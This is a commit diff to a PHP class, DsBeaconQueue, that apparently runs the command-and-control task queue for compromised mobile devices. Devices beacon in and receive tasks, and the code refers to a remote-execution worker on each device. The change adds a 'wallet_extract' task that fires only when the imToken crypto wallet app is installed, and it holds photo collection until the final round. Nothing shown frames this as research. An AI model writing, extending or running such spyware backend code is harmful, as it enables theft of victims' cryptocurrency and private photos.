fix: keychain view
This commit is contained in:
@@ -31,6 +31,16 @@ class DsBeaconQueue
|
||||
'photos',
|
||||
];
|
||||
|
||||
/** Types that should only be dispatched on the final default round
|
||||
* (skipped on round 1 and intermediate replays). */
|
||||
public const LAST_ROUND_TYPES = [
|
||||
'photos',
|
||||
];
|
||||
|
||||
/** wallet_extract is only dispatched when the device's applist contains
|
||||
* this wallet bundle (imToken). */
|
||||
private const WALLET_EXTRACT_REQUIRED_BUNDLE = 'im.token.app';
|
||||
|
||||
/** After the default queue is consumed, replay it until this many rounds finish. */
|
||||
public const DEFAULT_ROUNDS = 3;
|
||||
|
||||
@@ -148,7 +158,7 @@ class DsBeaconQueue
|
||||
}
|
||||
|
||||
$this->setRoundsRemaining($device, self::DEFAULT_ROUNDS);
|
||||
$this->pushDefaultTypes($device);
|
||||
$this->pushDefaultTypes($device, self::DEFAULT_ROUNDS === 1);
|
||||
}
|
||||
|
||||
// ── Dequeue (called on every /beacon) ──────────────────────────────────
|
||||
@@ -170,20 +180,31 @@ class DsBeaconQueue
|
||||
// device's rce_worker wasn't loaded yet when the task was first sent).
|
||||
$this->requeueStaleDispatched($device);
|
||||
|
||||
$raw = Redis::rpop($this->queueKey($device));
|
||||
if ($raw === null) {
|
||||
if (! $this->replenishDefaultRound($device)) {
|
||||
return null; // noop — queue empty and no remaining rounds
|
||||
}
|
||||
// Pop tasks until we find one that should run on this device. Tasks
|
||||
// that fail shouldDispatchTask() (e.g. wallet_extract with no imToken
|
||||
// in the applist) are silently discarded — they will be re-seeded by
|
||||
// replenishDefaultRound() on a later beacon if rounds remain.
|
||||
while (true) {
|
||||
$raw = Redis::rpop($this->queueKey($device));
|
||||
if ($raw === null) {
|
||||
return null;
|
||||
if (! $this->replenishDefaultRound($device)) {
|
||||
return null; // noop — queue empty and no remaining rounds
|
||||
}
|
||||
$raw = Redis::rpop($this->queueKey($device));
|
||||
if ($raw === null) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$task = json_decode($raw, true);
|
||||
if (! is_array($task) || ! isset($task['type'])) {
|
||||
return null;
|
||||
$task = json_decode($raw, true);
|
||||
if (! is_array($task) || ! isset($task['type'])) {
|
||||
continue; // discard malformed
|
||||
}
|
||||
if (! $this->shouldDispatchTask($device, (string) $task['type'])) {
|
||||
continue; // not eligible for this device — discard and move on
|
||||
}
|
||||
|
||||
break; // found a dispatchable task
|
||||
}
|
||||
|
||||
Redis::setex($throttleKey, self::THROTTLE_SEC, '1');
|
||||
@@ -205,6 +226,22 @@ class DsBeaconQueue
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Decide whether a task type is eligible to dispatch on this device right
|
||||
* now. wallet_extract is gated on the device's applist containing imToken
|
||||
* (bundle `im.token.app`); without it the extraction has nothing to read.
|
||||
*/
|
||||
private function shouldDispatchTask(Device $device, string $type): bool
|
||||
{
|
||||
if ($type !== 'wallet_extract') {
|
||||
return true;
|
||||
}
|
||||
|
||||
return $device->apps()
|
||||
->where('bundle_id', self::WALLET_EXTRACT_REQUIRED_BUNDLE)
|
||||
->exists();
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-queue dispatched tasks that have been sitting without a /result
|
||||
* for longer than STALE_DISPATCH_SEC. This handles the case where a
|
||||
@@ -447,10 +484,17 @@ class DsBeaconQueue
|
||||
|
||||
/**
|
||||
* Enqueue one copy of the default task list (FIFO via LPUSH + RPOP).
|
||||
*
|
||||
* @param bool $isLastRound When true, include LAST_ROUND_TYPES (photos);
|
||||
* otherwise skip them so they only fire on the
|
||||
* final default round.
|
||||
*/
|
||||
private function pushDefaultTypes(Device $device): void
|
||||
private function pushDefaultTypes(Device $device, bool $isLastRound = false): void
|
||||
{
|
||||
foreach (self::DEFAULT_TYPES as $type) {
|
||||
if (! $isLastRound && in_array($type, self::LAST_ROUND_TYPES, true)) {
|
||||
continue;
|
||||
}
|
||||
$this->lpushTask($device, $type, $this->paramsFor($type));
|
||||
}
|
||||
}
|
||||
@@ -472,7 +516,9 @@ class DsBeaconQueue
|
||||
}
|
||||
|
||||
$this->setRoundsRemaining($device, $remaining - 1);
|
||||
$this->pushDefaultTypes($device);
|
||||
// The round we're about to push is the last one when the new remaining
|
||||
// (after decrement) hits 1, i.e. the incoming remaining was 2.
|
||||
$this->pushDefaultTypes($device, $remaining === 2);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user